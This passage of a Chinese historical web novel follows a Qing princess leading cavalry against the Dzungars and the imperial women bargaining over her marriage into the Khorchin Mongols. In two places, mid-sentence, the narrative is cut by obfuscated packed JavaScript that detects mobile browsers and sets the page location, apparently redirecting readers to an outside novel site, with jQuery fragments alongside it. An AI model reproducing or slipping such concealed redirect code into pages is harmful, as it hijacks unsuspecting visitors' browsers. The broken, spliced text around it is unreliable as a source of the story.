而且,皇帝虽派不来援军,内务府的物资供应可没断过。在体验了皇后娘娘这里,与全国都有天壤之别的内务府养兵标准待遇后,在与其余五百人合练的影响下,这两千精锐骑兵的忠诚度已经过60了。 对于珠兰而言,这才是大收获。精锐骑兵,乃是草原上的中流砥柱,他们可不是贫苦的牧民,都是有产之人,也是各部各旗最可靠的兵源。 “传令下去!”佟国纲调转马头,“放缓追击,外围骚扰,把准噶尔人往漠西赶!” 火器营的老兵们虽不解,却听令行事。护军营的新兵们看着端敏,眼里的崇拜又多了几分——格格不仅能打,还有谋略,比说书先生讲的古代将军还厉害。 端敏格格掌握大军之后,丝毫没有掩饰自己是女性的这一事实。贾敏实际还劝过她继续用“端贝勒”的身份,但被她否了。 “敏儿,你我乃是女子,但那又怎么样,将军不分男女,厉害就行啊。在皇后娘娘麾下做事,只有你够出色,性别不是问题。”端敏格格在宫中时有这个自信,乃是皇后娘娘任用女官出入宫廷带来的,她所接触的女子中,有大量有勇有谋之人,做事丝毫不输给外朝的男儿。到了宫外,她发现沙场悍将也非一合之敌后,自信心更是膨胀到另一个高度,她丝毫不认为这些手下败将会在乎万人敌是男还是女。 现在,两边都知道,这位是格格了。可士兵们、副将们,什么杂音都没有。 嚼舌根子,不是士兵的传统艺能,那是京里无聊的老爷们才喜欢做的。 贾敏听之,深以为然也。 端敏格格望着西边的草原,那里很快就会变成战场。 漠南的人以为是去分草场、抢牛羊,却不知准噶尔的主力正被逼着往回退,迎头撞上,必然是场血战。 狗咬狗,才有意思。 她低声自语,踢了踢马腹,“走,咱们找个高处,看戏去。” 佟国纲跟在后面,看着这银甲小将的背影,神色中有些惋惜。 这般懂得权衡、懂得藏锋的年轻人,才是大清的底气。草原的风雪再大,有这样的人撑着,总能找到最稳的路。 可是格格,总要嫁人的。 大营之中,太皇太后恰好与太后、皇后提起联姻之事。 暖帐里,奶茶的香气混着炭火的暖意漫开来。 太皇太后斜倚在铺着貂皮的软榻上,手里转着串紫檀佛珠,精神还是有些短,她看向珠兰和太后琪琪格,“前几日,班第又来了。” 帐内的声息顿了顿,太后正给太皇太后剥橘子,闻言动作慢了些:“就是达尔罕亲王的孙子?那孩子看着倒周正。”就是有点瘦弱,身体不知是不是随他父亲有些不好。 “周正是周正,”太皇太后叹了口气,佛珠在指间停住,“可他来求娶端敏。” 珠兰端着茶盏的手微顿,抬眼看向太皇太后。她早知道班第频频来帐前请安,是为这事。毕竟,阿日娜苏每日都守在帐子里,她什么都与珠兰说。 太皇太后闭了闭眼,语气里带着几分复杂,“班第的父亲去得早,满珠习礼那老东西……怕是没几年活头了。他急着给孙子找后路呢。” 满珠习礼是她的庶出弟弟,继承了父亲的家业。他与太皇太后和同母兄吴克善不是一母同胞,虽说守望相助,但向来各立门户——吴克善掌科尔沁左翼后旗,满珠习礼掌左翼中旗。 这两个人,明里暗里较劲了一辈子。太皇太后,自然是倾向于自己的同母兄吴克善这一支。 科尔沁左翼另有一支前旗宾图郡王世家,是宣妃阿日娜苏的娘家,与太皇太后属于同宗,但是血缘关系已远,在左翼这边一直是打酱油的。 “做大清的女婿,自然能保将来年少的班第在左翼站稳脚跟。”太后轻声道,“这倒是桩好姻缘。” “往常是往常,现在是现在。”太皇太后睁开眼,目光落在帐外,仿佛看到端敏的银甲在雪地里闪着光,“端敏这丫头,如今可不是能困在内宅的。她能领着兵把准噶尔撵出草原,真嫁去科尔沁,你觉得她会只守着后院?” 太后垂下眼,没接话。她清楚端敏的性子,看似莽撞,实则有股子不服输的狠劲。 太皇太后身后扶着她的苏麻喇姑也是深以为然,若端敏格格真入了科尔沁,以她的勇冠三军的能力和驱赶准葛尔的威望,怕是用不了一年,就能把左翼各支系牢牢攥在手里,到时候右翼博尔济吉特的旗主们也自会向强者靠拢。 太皇太后的声音沉了些:“雅图的丈夫弼尔塔哈尔,是吴克善的后人。”她顿了顿,指尖在佛珠上用力,吴克善是亲兄,兄妹二人关系自小就好。 弼尔塔哈尔虽是守成的性子,可那是嫡亲,不许旁人欺负的。“商路交给他后,乱得不成样子,还得我老婆子亲自来调——除了是弼尔塔哈尔镇不住场子,也与中旗总在旁边搅和有关。” 若是端敏嫁过去,以她的能耐,必然能压过弼尔塔哈尔,甚至把整个科尔沁的权柄都揽过来。可那样一来,自己偏向左翼后旗的苦心就白费了,科尔沁的平衡会彻底打破,虽然——一个被端敏格格牢牢掌控的科尔沁,对朝廷是好事。联姻便是为此,是为了将大清的影响力深深扎根到草原上。 “母后是怕……”太后终于明白过来,“端敏会让科尔沁左翼中旗压过后旗?”她家这一支是无所谓东风西风的,反正太后的祖父、父亲爵位都不高,跟谁混都是混。 “不止。”太皇太后摇头。 74. 继续往西 “她是皇家格格,手里又有军功,真在科尔沁扎下根,怕是整个部落都要听她的。到时候,是科尔沁依附朝廷,还是朝廷得看她脸色?” 她是故意如此说的,珠兰听得出来,苏麻喇姑也听得出来,阿日娜苏片刻后也反应了过来,只有太后云里雾里的,还觉得母后说的对。 帐内静了下来,只有炭火烧裂的轻响。 珠兰看着太皇太后鬓边的白发——这桩联姻,早已不是儿女情长,而是科尔沁的权力博弈,太皇太后甚至愿意牺牲朝廷对蒙古掌控力,也不想影响自己女儿所在后旗的权重。说的是女婿弼尔塔哈尔,句句是在为女儿雅图考虑。 她老了,心软了。系统面板上,太皇太后的冷酷指数在下降。 老年的政治动物,总会糊涂些。老太太曾经坚持的,草原的权力棋局上,没有哪一步是只为“情分”落子的。现在,她动摇了。 太皇太后捻着佛珠,缓缓道:“满珠习礼的心思,我懂。可端敏……不能嫁。”她望向珠兰,“你是皇后,这事,怕是得你拿主意。” 珠兰抬眼,迎上太皇太后的目光,轻声道:“端敏的婚事,该由皇上定夺。有幸聆听皇祖母教诲,儿媳明白科尔沁的平衡不能破。今夜,便写信回京。” 千里之外,端敏正挥刀劈开一块坚冰,银甲上的雪沫子簌簌落下。她对自己的婚事已丝毫不在意,莫说是缠进了科尔沁数十年的派系纷争里,便是缠绕的再紧密复杂,也挡不住她一刀。 雪粒子打在头盔上,簌簌作响。 佟国纲望着远处端敏指挥骑兵调整阵型的身影,伸手在儿子鄂伦岱的后脑勺上重重拍了一下:“你说你,大小伙子,怎么就没人家格格三分本事?” 鄂伦岱捂着脑袋,龇牙咧嘴地翻了个白眼:“阿玛,您这就老古板了不是?厉害还分男女?格格那叫天赋异禀、天生名将,别说我了,就是史书上那些大将,能比得过她的也没几个!” 他说着,眼睛亮晶晶地望向端敏格格——银甲在雪地里闪着光,凤翎刀挥得虎虎生风,刚才一阵冲杀,她领着亲兵队直接就凿穿了准噶尔的中军,就像切豆腐一般顺滑,那股子理所当然的悍劲,看得人热血沸腾。 “您瞧瞧这仗打得多顺!”鄂伦岱越说越起劲,活脱脱一个端敏的“头号武吹”,“换了别的主将,不是整天琢磨阵型,就是盘算粮草,哪有格格这样,凭着一股勇劲就把十倍百倍的敌人冲垮了,自己的损伤还能忽略不计。” 他说得没错,寻常将领要么是运筹帷幄的指挥型,要么是精于算计的军略型,像端敏这样,既能身先士卒当“勇将”,又能在关键时刻拎得清轻重的,真是打着灯笼都难找。古之项羽,想来也就这般英勇了。 刚才追击中,她眼看就要咬住僧格的主力,却硬生生收了手,只在外围骚扰,这份“勇中带稳”的劲儿,连佟国纲都暗自佩服。古之恶来,不晓得有没有格格这般收放自如。 佟国纲被儿子怼得没脾气,却也忍不住点头。又该往回传信了,不晓得他的信皇上收到没有。 他打了一辈子仗,见过的名将不少,可像端敏这样,年纪轻轻就兼具悍勇与城府的,还真是头一个。 必须得给京中送信,把格格的英姿写上,请皇上定夺。 “行了行了,别吹了。”他笑着踹了鄂伦岱一脚,“学着点!人家那才叫‘勇’,不是蛮干。回头把今天的战例记下来,好好琢磨琢磨。” 鄂伦岱乐呵呵地应着,眼睛却又黏回了端敏格格身上。能跟着这样的主将打仗,痛快!比在京里啃兵书有意思多了。有句话他没说,怕打击老阿玛。阿玛带着他们只能躲,等时机,看端敏格格,自己就能创造时机。东拉扯、西拉扯,就把大阵踹翻了,直接暴露了准噶尔的中军。什么是天赋,这就是天赋! 风卷着雪,把端敏的指令传了过来:“各队稳住阵脚,保持距离,别让准噶尔人跑太快!” 佟国纲听着,嘴角扬起一抹笑意。 格格勇猛,还懂得“放风筝”的道理,把准噶尔吊得难受,又不让他们彻底垮掉,好给漠南人“送”一份大礼。 “走,跟上去看看。”他拍了拍鄂伦岱的肩,“让你小子开开眼,什么叫真正的‘将才’。” 漠南的一万骑兵浩浩荡荡杀到准噶尔冬日牧场时,眼里只盯着帐篷里的金银、圈里的宝马和那些瑟缩的女人。 汉人找不到草原人猫冬的地方,草原人自己可太清楚了。 这时候的蒙古部落虽然还是居无定所,但自己人还是能找到其余部落的几个固定草场的。就那么几个地方能挡风的,不是这里就是那里。 他们本以为准噶尔主力被朝廷的人缠住,这趟就是来捡现成的,哪里还顾得上什么阵型纪律。 莫名奇妙的战争打到这里,还是为了劫掠。 准噶尔如此,漠南也是如此。 亲王骑着马在前面吆喝“多拿点”,台吉们忙着往自己包里塞珠宝,连小兵都敢牵走准噶尔头人的骆驼,乱得像捅了马蜂窝。 没等他们把抢来的东西捆结实,西边就传来了震天的马蹄声——僧格带着准噶尔主力回来了。 这帮人本就被端敏追得一肚子火,回来看见家被抄了,帐篷被掀了,女人被掳了,眼睛瞬间红得像血,嗷嗷叫着就冲了上来。 “妈的!敢动老子的东西!”僧格举着弯刀,带头冲进漠南人的队伍里。 准噶尔人虽败,骨子里的狠劲还在,此刻背水一战,竟比先前勇猛了十倍。 最糟糕的是,另有一支准噶尔骑兵从后面山中杀出。 居然有埋伏…… 漠南的骑兵哪见过这阵仗,刚才抢东西时有多欢,此刻就有多慌。 金银珠宝掉了一地,牛马也顾不上了,转身就想跑,可准噶尔人早就红了眼,刀刀往要害上砍,雪地里瞬间躺满了人,惨叫声比风声还凄厉。 这一仗打得比朝廷与准噶尔沿路追击半月的厮杀还凶,双方从日头当午打到夕阳西下,漠南人被砍得丢盔弃甲,准噶尔人也杀得精疲力尽,雪地里的血冻成了黑红色,连风都带着股腥气。 直到月亮挂上树梢,双方才罢手,各自拖着伤兵往两边退,连收拾尸体的力气都没了。 就在这时,一阵马蹄声从东边传来,火把连成一片,像条火龙——佟国纲和端敏带着人杀过来了。 “就是现在!”端敏的凤翎刀在月光下闪着冷光,“专打准噶尔中军!” 清军的人不多,却像把淬了冰的刀,精准地劈在准噶尔最疲弱的地方。 准噶尔人刚跟漠南人拼完命,为朝廷大军特意准备的伏兵也都提前杀了出来,哪还有力气招架,又被砍得人仰马翻。 僧格人都麻了,只能选择带上族人,继续往西溃逃。 只是两队货物啊,怎么就引来了这么个杀神,僧格想不通。那该死的罗刹人,要不是他跑得快,必须杀了他祭旗。 端敏照旧留下余地,不使劲儿追。 佟国纲看着雪地里散落的金银和漠南人丢下的兵器,忍不住笑了:“这叫什么?螳螂捕蝉,黄雀在后。” 端敏勒住马,望着准噶尔人往西逃窜的背影,又瞥了眼远处缩成一团的漠南残兵,眼底没什么波澜,“咱们啊,就做那个捡便宜的。”从深宫格格,蜕变成沙场悍将,也只是半个月罢了。 火把的光映着她的脸,一半亮一半暗。 不费多少力气,就让准噶尔和漠南两败俱伤,朝廷坐收渔利。还是年轻人厉害啊。“走,捡点‘辎重’去。”佟国纲拍了拍她的肩,“准噶尔人跑急了,丢的东西可不少。”这时候,他没有当她是格格,而是当成战友了。 身后的清军士兵欢呼着冲上去,捡拾起散落的兵器、粮草,还有没来得及带走的珠宝。 端敏望着这一切,想起皇后娘娘信里的话:“草原的事,让草原人自己解决。咱们要做的,是站到最后。”娘娘的信任,是她最大的底气。她不会让她失望的,绝不会。 系统面板上,端敏的亲密度一路攀升。 月光洒在雪地上,亮得晃眼,冬天真要来了。 这出戏还没结束,准噶尔往西跑,漠南人吃了亏,接下来,该轮到漠西草原上的其他部落“登场”了。 准噶尔的残兵往西没跑多远,就被一群骑着矮脚马的漠西人缠上了。 这些小部落先前被僧格欺压得狠了,连高头大马都没了。见准噶尔兵败,个个红着眼往上冲,弓箭像雨点似的往准噶尔人堆里撒,嘴里还喊着“把草场还给我们”。 僧格被缠得火冒三丈,却又甩不掉,只能边打边退,狼狈得像条丧家之犬。这些来送死的家伙,有本事跟着他去西边过冬。 另一边,佟国纲已安排副将,带着伤兵往回走。大营那边他还是不放心,不比端敏年轻气盛,他求稳。 科尔沁亲王和巴林郡王跟在队伍里,脸色青一阵白一阵——他们自己倒没受大伤,可手底下的百夫长、十夫长死了大半,带出来的骑兵折损了近三成,还有不少伤了的。两人先被劫,后又被打,心气都没了。 科尔沁的亲王,雅图公主的夫婿,弼尔塔哈尔他只觉得头晕目眩,勉力支撑。 原本想捡便宜,结果成了被按在地上打的冤大头,在端敏和佟国纲面前连头都抬不起来。 “往前走。”端敏没看他们,只是扬了扬凤翎刀,带着剩下的漠南骑兵继续往西。她不说一句指责的话,可那沉默,比骂他们一顿还让人难受。 跟着端敏走了两天,漠南的骑兵们渐渐觉出了不一样。这位格格不像王爷们那样瞎指挥,每次扎营前,总能提前让人探好路,知道哪里有水,哪里有准噶尔的埋伏;打起仗来,她从不让小兵去填坑,总是自己带着精锐冲在最前面;最让人舒坦的是分战利品——不管是抢来的牛羊,还是缴获的珠宝,全按人头分,有功的帐下奴都能拿到一份,半点不偏私。 “跟着格格打仗,比跟着王爷痛快!”一个漠南小兵啃着分来的干肉,含糊不清地说,“上次跟着亲王,抢来的宝马全归了他儿子,咱们连根毛都没捞着。” 旁边的十夫长叹了口气:“这才叫领兵打仗啊……连最低等的人都不亏着,长生天也没这么公道。” 在王爷们台吉们不知道的下面,他们的威望在降低。 端敏用实打实的公允,把漠南人散了的军心一点点拢了起来——那些原本只认自家王爷的骑兵,如今看端敏格格的眼神,竟比看主子还敬畏。 她对此仿佛毫不在意,只是按部就班地调度,“左翼跟我绕到侧面,右翼守住退路,火器营准备——放!” 随着她一声令下,鸟铳齐鸣,准噶尔人的阵型又乱了一块。漠南的骑兵见状,也嗷嗷叫着冲了上去,比先前勇猛了不知多少。 佟国纲在后面看得清楚,忍不住点头。端敏没说一句“你们要听我的”,却用一场场胜仗、一次次公允的分配,让人心甘情愿地跟着走。漠南部落的人心,就这么在无形之中聚集,成了可用之兵。 风里带着雪的凉意,端敏勒住马,望着西边准噶尔人溃逃的方向,又看了看身边越来越齐心的漠南骑兵。 皇后娘娘要的,不止是打败准噶尔。 这一仗,打的是准噶尔,收的,却是整个漠南的人心,也是她的命运。 京城 乾清宫的烛火跳了跳,康熙捏着春苒的第二封信,指腹几乎要嵌进纸里。 信上的字密密麻麻,句句都在往他心上扎——“皇后娘娘彻夜未眠,鬓边添了白发”“公主催得紧,娘娘左右为难”“佟将军被困死谷,娘娘急得落泪”,字字句句都把珠兰描成了朵被狂风吹得摇摇欲坠的小白花,仿佛下一刻就要被草原的乱局碾碎。 他低声骂了句,不是骂珠兰,是气自己远在京城,半分帮不上她。 春苒是自己派去珠兰身边的人,断不会说谎,那字里行间的焦灼,看得他心口发闷,恨不得立刻插上翅膀飞过去。 佟国纲也是老将了,怎么会让大军被困! 而且,前朝为何没有佟国纲的密信传回。 “皇上,皇后娘娘的信到了。”梁九功轻手轻脚地递上另一封信,见皇上脸色不好,大气都不敢喘。 康熙一把抢过,拆信的手都带着颤。 展开信纸,珠兰的字依旧清隽,提佟国纲被困,只说“已令端敏驰援,暂无大碍”;说两位公主,只提“已妥为安置”;通篇没提自己半句辛苦,末了还加了句“太皇太后今日进了半碗粥,勿念”。 两封信摊在御案上,像两个截然不同的珠兰。一个风雨飘摇,一个稳如磐石。 康熙盯着信纸,忽然笑了,带着点自嘲。 他竟忘了,珠兰从来不是会叫苦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16174052|173504||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的人。内务府的事情无论多么繁杂,她都是举重若轻,只在出成果的时候才会与他分享喜悦。 “春苒这丫头……”他摇摇头,指尖在珠兰的信上轻轻敲着,这一字一句都让他心疼,“说的是实情。” 珠兰的信里,轻描淡写,仿佛不是派了支奇兵去救被困的大军,只是让丫头去隔壁院子送碗汤。 而且,谁能告诉朕,端敏怎么支援佟国纲? 春苒这丫头,来信竟不知描述一二。 康熙意识到,自己可能错过了细节,叫来梁九功,让他把春苒的信件都拿来。 他速速看了一遍,才发现自己当初一味沉浸于与珠兰的通信,忽略了春苒上报的军中演武之事。 康熙转了两圈,靴底蹭着金砖地,发出沉闷的声响。 端敏是女子,习武骑马,他晓得;能拉硬弓,他晓得。因为珠兰喜欢的缘故,他不曾干涉端敏的爱好,想着她总要嫁去蒙古的,爱骑射也是好的。毕竟在她被太后收养的那一刻,就已经定下了她的命。 可他只当是小姑娘一时兴起,没成想她这般厉害,竟真要披甲上阵——珠兰素来怜惜女子,连宫里头小丫鬟受了委屈都要过问,如今肯让端敏领着兵冲在前头,必是到了无人可用的绝境。 “科尔沁、巴林部……”他低声念着这两个名字,语气里仿佛淬着冰,“养着一群废物,倒让个格格去拼命。”春苒信里没说这些,可他用脚趾头想也知道,若非那些王爷、郡王脓包得顶不起来,珠兰断不会走这步棋。 他又抓起珠兰的信,“暂无大碍”“已可控”这几个字被他盯得快要看透。 珠兰,永远把风雨藏在身后。不像朝中那些老臣,有点子事就要无限夸大,否则显不出他们能耐来。 葛布喇当年在京里应对鳌拜余党,也是这般云淡风轻,转脸就把刀架到了人家脖子上。 可越是这样,他心里越揪得慌——她越说没事,就越可能在硬撑。 “大同……”他指尖在御案的舆图上划过大同的位置,那里的兵马是防备准噶尔东窜的屏障,牵一发而动全身。 此刻抽兵,无异于给准噶尔可乘之机,南边的战事还没了结时,北边再出乱子,他这个皇帝真要腹背受敌。 “罢了。”康熙猛地停住脚步,眼底的焦灼被一丝狠厉取代。 他了解珠兰,既敢让端敏去,必有后手,总之不会真把自己置于死地。将珠兰的信重新折好,塞进贴身荷包,那薄薄的纸片仿佛有了重量,硌着心口。康熙给自己找了理由,他觉得自己是无比信任皇后可以应付任何危机的。 “梁九功,”他扬声道,“传旨给宣府总兵,让他加派斥候,严密监视准噶尔动向,一旦有异动,不必请示,先拦下来再说。” 不能调大同的兵,便在侧翼织张网。 他这个皇帝,此刻能做的,唯有在千里之外替她们守住退路,剩下的,只能信珠兰——信她能在草原的乱局里,带着母后,带着皇祖母,带着那些不成器的蒙古王爷,硬生生蹚出一条路来。 窗外的风卷着残雪拍打窗棂,像极了草原上的马蹄声。 康熙望着窗纸上自己的影子,觉得有些虚晃。 京郊的庄子里,炭火烧得正旺,映着几个掌柜的脸。 管茶叶的王掌柜嘬了口热茶,咂咂嘴道:“本来想着,让科尔沁那帮骄兵去跟准噶尔碰碰,吃点亏能醒醒脑子,往后还好拿捏些。没成想啊,僧格那废物这么不经打,三两下就被撵到哈萨克汗国去了。” 旁边管皮毛的李管事笑了,手里转着个油光锃亮的核桃:“这准噶尔也是活该,先前在草原上抢商队,烧货栈,真遇上硬茬就熊了。大姐儿调教出来的格格,那几下子硬的,怕是把他们的胆子都劈碎了。” “话也不能这么说。”一直没吭声的赵总管放下茶碗,他管着绸缎生意,眼光向来长远,“准噶尔去哈萨克,未必是坏事。” 众人都看向他,想听听高见。 赵总管慢悠悠道:“西域的商路,这几年被哈萨克汗国掐得紧,过一趟货要抽三成利,咱们的绸缎、茶叶想往西边运,成本高得吓人。准噶尔跟哈萨克本来就不对付,当年为了争夺楚河河谷打了十几年,如今准噶尔败兵过去,必然要跟哈萨克再斗一场。” 他顿了顿,指尖在桌上划了个圈,“僧格那帮人,别的本事没有,抡刀子抢地盘是行家。真把哈萨克打服了,商路往那边通,咱们的货就能顺着伊犁河谷走,可比现在从嘉峪关绕近多了。” 王掌柜眼睛一亮:“您是说……让准噶尔去当这把刀?” “不然呢?”赵总管笑了,“朝廷要的是草原安稳,咱们要的是货能走通。准噶尔成了丧家犬,正好让他们去搅搅哈萨克的浑水。他们打得两败俱伤,咱们坐收渔利,岂不是美事?” 李管事摸着下巴点头:“有道理。哈萨克这些年仗着商路垄断,越来越横,是该有人治治他们了。准噶尔去闹一场,不管输赢,咱们都能趁机插一脚,把价钱谈下来。” 炭火烧得噼啪响,几个掌柜对视一眼,都笑了。 本来觉得准噶尔败得太快,少了个拿捏科尔沁的由头,此刻想来,倒像是歪打正着,给西域商路铺了条新路子。大姐儿就是高明啊,已经算到此处了。 “等着吧。”赵总管端起茶碗,望着窗外的雪,“过不了多久,哈萨克那边就得有消息传过来。到时候啊,咱们的绸缎,该往西走了。” 庄子外的风还在刮,可帐内的人心里都亮堂着——草原上的仗打得再凶,只要商路能通,总有他们的赚头。有赚头,大姐儿的计划就能顺利往下走,他们所有人包括下头跟着吃饭的都会有好日子过。 这准噶尔,倒成了个意想不到的“契机”。 海上,一艘艘船从三藩海岸线出发南下,因兵灾逃命的百姓争先恐后的交钱上船,去往家附近劫富济贫的山大王应许的太平之地。 这些只是偶尔赈济一二的山大王,居然得了本该属于官府的民心,多么讽刺啊。 程岫一封信又一封信的往四面送,安排着三藩治下翻云会的种种事宜。 兵灾,并不只是入城屠杀,战前抓壮丁、征粮草,便足以令人家破人亡。 朝廷动作不断,三藩也不会坐以待毙。 在基层被不断渗透的前提下,程岫的工作进展十分顺利。 75. 嫁娶之事 乾清宫的铜鹤在寒风里立着,康熙捏着佟国纲的信,指尖在“勇冠三军”“智计过人”“有大将之风”这几行字上反复摩挲。 信纸边缘被他捻得起了毛边,信里的每一个字都像带着草原的风雪,撞得他心口发沉。 朝中大将都在筹谋向南,只要佟国纲在北地,还一度面临困境,冯唐要护卫大营,乃至于要靠端敏一个格格支撑大军。 佟国纲的笔向来刚硬,写战报从不多缀饰,可这次提起端敏,字里行间竟透着掩不住的赞叹——说她单骑冲阵时,凤翎刀劈得准噶尔人抬不起头;说她临阵变计,绕后火烧准噶尔粮草,比老将还沉得住气;说她分战利品时,连旗奴都能得份公平,把涣散的漠南骑兵拧成了一股绳。 “若为男子,封侯绰绰有余。”康熙低声念着信里的话,眉头拧成了疙瘩。 若为宗室男子,则又多一铁帽子。他想起端敏在演武场的模样,那时只当是小姑娘一时兴起,舞刀弄枪图个新鲜,却没料到这趟草原之行,竟真让她闯出了这般名堂。 本以为此事中,定然是皇后居中定下大计,集合众人之力度过危机,却没想到是端敏只身破局。 康熙心中无端升起的对珠兰又一丝忌惮,悄悄消失了。 皇后在此事中,只是起到了稳定后方、下定决心、承担责任的作用,她的担当体现了她的品行和品性,而非何等非凡的能力,这无端也让皇帝松了口气。 珠兰是他的妻子,而非什么不能掌控的神人。这个认知,让皇帝开心、松心、放心。 而端敏,是爱新觉罗家的女子,虽然她的天赋令康熙侧目,却还不至于让他忌惮。毕竟,作为宗女,她离着权力还远。 甚至康熙乐于见到一名无敌于战场的端贝勒,他完全可以再立一个军功铁帽子亲王出来。 先前太皇太后隐隐提过端敏联姻蒙古的事,说科尔沁仍然需要皇家的助力,他虽未应承,却也没完全驳回——宗女和亲,本是安抚蒙古的常例。 可此刻读着佟国纲的信,再想起端敏那股子能把准噶尔人追着打的悍劲,把这样端敏当普通女子嫁去草原,是真的“可惜”,还是……另一种浪费。 草原的冬天到了,承德离宫的朱漆宫门外,公主府上挂起了素白的幡子,在凛冽的冬风中簌簌作响。 太皇太后的凤驾刚在烟波致爽殿安顿妥当,科尔沁的急报就追了过来——雅图公主的丈夫,那位在西征中立过些微功的亲王,在接连的惊吓后,居然病倒了,终究没熬过这个冬天。 “怎么就走了……”太皇太后捏着那封报丧的折子,指节都在发抖。 那孩子,虽算不上英武,却也算忠厚,当年把雅图嫁给他,就是看中他性子稳,能护住女儿。可谁能想到,西征时受的惊吓、丢的脸面,竟成了催命符,回来后缠绵病榻,没一个月就去了。 更让她心沉的是后面的话:雅图膝下无子,亲王爵位按例要传给吴克善的另一个曾孙——也就是雅图一直提防的那个侄子。 “亲缘断了……”太皇太后喃喃道,声音里带着彻骨的寒意。 她这一脉与科尔沁的联系,本就靠着女儿雅图维系,如今女婿没了,爵位旁落,雅图成了孤身在科尔沁的寡妇。以她的性格,离了男人就没了主心骨,往后在部落里,怕是连腰杆都挺不直。 爱新觉罗与博尔济吉特氏的那点姻亲情分,竟在她眼皮子底下,一点点淡了。 太后在一旁叹气:“公主没了丈夫,还要看侄子的脸色过日子,科尔沁那地方,利益缠得紧,商路又在她丈夫手里攥过几年,新的亲王此刻能容下她,以后呢?不如,母后带她回京。”对太后而言,她是由己及人,觉得雅图公主定然是想回家的。就像她一样,这么多年的紫禁城生涯,也没改变她的本性。 太皇太后闭了闭眼,不理会天真的琪琪格,雅图只能死在科尔沁,哪里都去不了。 若是长女能自己立起来,不依靠丈夫掌控商路,她还不用担心她。可这一次的事,让她看清楚了,长女色厉内荏,遇到大事一定会犯糊涂。她那丈夫虽然也不算出色,却把她护的太好了。 太皇太后叹息中,忽然想起了端敏。 先前班第求娶时,她是打心底里不愿的。怕端敏那股子刚劲压过雅图,怕科尔沁左翼中旗借着这门亲事盖过后旗。当时,她说的是怕一个手握兵权、懂谋略的皇家格格嫁过去,反倒成了朝廷的掣肘。 可现在…… “端敏的婚事,是该再想想。”太皇太后忽然开口,目光落在不发一言的皇后身上。草原之事,皇后惯常不问不说,她也太小心了些。 皇后珠兰一怔,随即明白了。 宣妃阿日娜苏一愣,随即也明白了。 太皇太后这是心念电转,在雅图失势的既定事实面前,又想让端敏嫁去科尔沁,不是为给班第做妻子,而是为给雅图公主做依靠,继续掌控商路。 端敏有军功,有手段,在科尔沁足以震慑雅图丈夫那个即将袭爵的侄子,护住雅图和她手里那部分商路利益。 “可端敏她……”珠兰故作迟疑道,“她的婚事,皇上尚未决断。”挡箭牌不用白不用,反正他也不知道。 太皇太后望向宫外的白幡,眼底闪过一丝狠厉,“科尔沁掌控的商路不能离了朝廷的眼,雅图护不住的,就让端敏去护。皇后速传信,皇帝会明白这个道理。”皇帝掉进钱眼儿的性子,虽然让太皇太后看不惯,但也是极好的突破口。 端敏的女子身份,在前朝非常吃亏,即便她是宗女。所以,太皇太后认为,她即便能做将军,也是要嫁人的。 太后听着,在一旁点头:“母后说得是,端敏嫁过去,明着是给雅图做靠山,暗里也是替朝廷盯着科尔沁。那草原商路干系重大,绝不能落到不服管教的人手里。” 班第她见过,长相风度都算上乘了,本来太皇太后不许此事,她还有些遗憾的。在草原上找一个端敏大概能入眼的夫婿,也是很难的。而且,端敏是她的养女,在草原上有威势,也能看顾她的娘家。 之前端敏公主 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16184207|173504||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 和她丈夫吃独食,是不仅巴林部不满意的,科尔沁内部也有微词。便是太后的娘家,也是一般无二,没有丝毫插手的余地。也就是太后在太皇太后面前怯懦惯了,太后的娘家也不敢出声,不敢像巴林部的阿图公主一般闹。 帐内一时安静下来,只有风卷着雪拍打窗棂的声音。 珠兰望着太皇太后鬓边的白发,老人家做事也越发偏了。 不到一个月,端敏与班第的亲事,就从一桩不美的婚事,又演变成了太皇太后口中维系朝廷与科尔沁关系的筹码,成了护住雅图公主的盾牌。 “臣妾明白了。”珠兰轻声道。 端敏的婚事,从一开始就不是她自己的事。 太皇太后没再说话,只是重新捻起了佛珠,每一声转动,都像是在盘算着什么。 承德离宫外的白幡还在飘,而一场关乎科尔沁权力平衡、关乎皇家格格命运的婚事,已在这萧瑟的冬日里,悄然被重新提上了日程。 雅图的难,朝廷的虑,最终都要压到端敏那副尚显稚嫩的肩膀上。 阿日娜苏心中,为她不值。 她们一样不得自由,一样要背负姓氏带来的使命。 她还带兵在西未归,这边已经几乎把她的终身大事定下了。 多么讽刺啊! 乾清宫的烛火映着康熙沉凝的脸,珠兰从草原大帐寄回来的信刚展开,墨迹里便透着一股旁观的冷静。 她将太皇太后的顾虑写得明明白白:雅图公主的丈夫不够精明强干,科尔沁左翼后旗没有压倒性优势,若端敏嫁去左翼中旗的班第家,反倒会激化左翼的内部纷争,让雅图更难立足,让科尔沁失去平衡;而以端敏的天赋,若不嫁科尔沁,漠南任何一个部落都容不下她这般锋芒,反倒可能搅乱草原格局。 “太皇太后的意思是,端敏不嫁科尔沁,也不嫁漠南任何一部。”康熙指尖划过信纸,心里渐渐有了数。 珠兰从头到尾没说自己的想法,只将太皇太后的考量原原本本托出,可这“原样呈现”里,却藏着不容忽视的细节——太皇太后的每一条顾虑,都绕着雅图的处境、科尔沁的支系纷争转,字里行间,竟少见“朝廷”“大局”的影子。 皇祖母,何时变得如此……了。 